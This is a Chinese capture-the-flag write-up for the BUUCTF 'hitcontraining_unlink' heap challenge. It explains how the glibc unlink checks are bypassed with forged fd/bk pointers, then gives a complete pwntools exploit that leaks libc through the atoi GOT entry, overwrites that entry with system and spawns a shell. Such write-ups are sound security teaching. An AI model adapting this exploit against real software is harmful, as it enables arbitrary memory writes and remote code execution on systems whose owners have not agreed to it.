【unlink】BUUCTF hitcontraining_unlink

Thursday, December 29, 2022
本文共1226字
3分钟阅读时长
pwn , unlink ,

⚠️本文是作者P3troL1er原创,首发于https://peterliuzhi.top/writeup/unlinkbuuctf-hitcontraining_unlink/。商业转载请联系作者获得授权,非商业转载请注明出处!

Friendship always benefits; love sometimes injures. — Seneca the Younger

原题链接

checksec查看程序架构

文内图片

ida查看伪代码

文内图片

典型的堆菜单题

unlink其实就是很普通,很常规的一种从双向链表中取出节点的机制

当我们free掉一个chunk的时候,程序会查看相邻的chunk时候也被free掉了,如果也被free掉了,就把它从双向链表中取出来(注意fastbin是单向链表),执行unlink,与当前free的chunk合并,然后放入它应该去的bin中

文内图片

文内图片

我们的chunk有fd和bk两个域,分别指向(链表中)前一个chunk和后一个chunk,也就是说,fd域里保存的是前一个chunk的地址,bk是后一个chunk的地址

文内图片

unlink会更改chunk0和chunk2的的fd和bk指针,也就是说

chunk0->bk = chunk2
chunk2->fd = chunk0

又因为fd和bk在同样位数的系统,比如64位的系统下,相较于chunk指针的偏移是固定的,因此,上面的代码又等价于

*(chunk0 + 0x18) = chunk2
*(chunk2 + 0x10) = chunk0

而此时,如果我们要unlink的chunk的fd域和bk域,则上面的代码会产生这样的效果: 文内图片

*(ptr1 + 0x18) = ptr2
*(ptr2 + 0x10) = ptr1

那么,我们就可以更改ptr1下方0x10位置和0x18位置的值了!

但是这个unlink机制还存在着一系列安全检查:

文内图片

这些检查确保:

  • 要进行unlink的chunk的size位和当前被free的chunk的prev_size位相同,同时它的prev_inuse位要置零
  • 要进行unlink的chunk的上一个chunk的bk位指向当前chunk,下一个chunk的fd位指向当前chunk
    • 也就是说:
*(ptr1 + 0x18) == chunk1
*(ptr2 + 0x10) == chunk1

如何绕过?

系统期待的是上一个chunk的bk域内存的值是chunk1,下一个chunk的fd域内存的值也是chunk1,当我们可以让

ptr1 = &chunk1 - 0x18
ptr2 = &chunk1 - 0x10

这样就可以绕过检查,这样最后的结果就是:

chunk1 = &chunk1 - 0x10
chunk1 = &chunk1 - 0x18

我们让chunk1变成了存放chunk1的内存上方0x18这个地址

然后我们就可以更改存放chunk1的内存的值,就可以实现任意地址写!

本题思路

申请三块0x80的chunk,在第一块chunk内伪造一个0x70的已free的chunk,然后更改下一个chunk的prev_size位和size位从而实现unlink

然后我们可以更改存放chunk1的内存的值,将其改为atoi的got值,我们就可以泄露出libc的基址

然后我们又可以更改atoi的got值,改为system,再传入"/bin/sh\x00"即可

from pwn import *
from pwn import p64, p32, u32, u64
from LibcSearcher import LibcSearcher

pss: bool = False
fn: str = "./bamboobox"
libc_name:str = "/home/giantbranch/share/share_files/security/buuctf_libc/libc-2.23_64.so"
port: str = "27469"
if_32: bool = False
if_debug:bool = False
pg = p32 if if_32 else p64
context(log_level="debug", arch="i386" if if_32 else "amd64", os="linux")
if pss:
    p = remote("node4.buuoj.cn", port)
else:
    if if_debug:
        p = gdb.debug(fn, """
                      b* 0x400E42
                      c
                      """)
    else:
        p = process(fn)

# 两个elf,注意libc的版本
m_elf = ELF(fn)
libc = ELF(libc_name)

def show(index: int) -> bytes:
    p.clean()
    p.sendline(b"1")
    p.recvuntil(f"{index} : ")
    return p.recv(6)

def add(size: int, name: str):
    p.clean()
    p.sendline(b"2")
    p.clean()
    p.sendline(str(size))
    p.clean()
    p.sendline(name)

def change(index: int, name: str):
    p.clean()
    p.sendline(b"3")
    p.clean()
    p.sendline(str(index))
    p.clean()
    p.sendline(str(len(name)+1))
    p.clean()
    p.sendline(name)

def remove(index: int):
    p.clean()
    p.sendline(b"4")
    p.clean()
    p.sendline(str(index))
ptr = 0x6020c8 

add(0x80, b"0")
add(0x80, b"1")
add(0x80, b"/bin/sh\x00\x00")

payload = (pg(0) + pg(0x80) + pg(ptr - 0x18) + pg(ptr - 0x10)).ljust(0x80, b"\x00") + pg(0x80) + pg(0x90)
change(0, payload)
remove(1)

payload = b"\x00"*0x10 + pg(0x80) + pg(m_elf.got['atoi'])
change(0, payload)
libcbase = u64(show(0).ljust(8, b"\x00")) - libc.sym['atoi']
success(f"libcbase => {hex(libcbase)}")
system_addr = libcbase + libc.sym['system']
change(0, pg(system_addr))
p.sendlineafter(b"Your choice:", b"/bin/sh\x00")

p.clean()
p.interactive()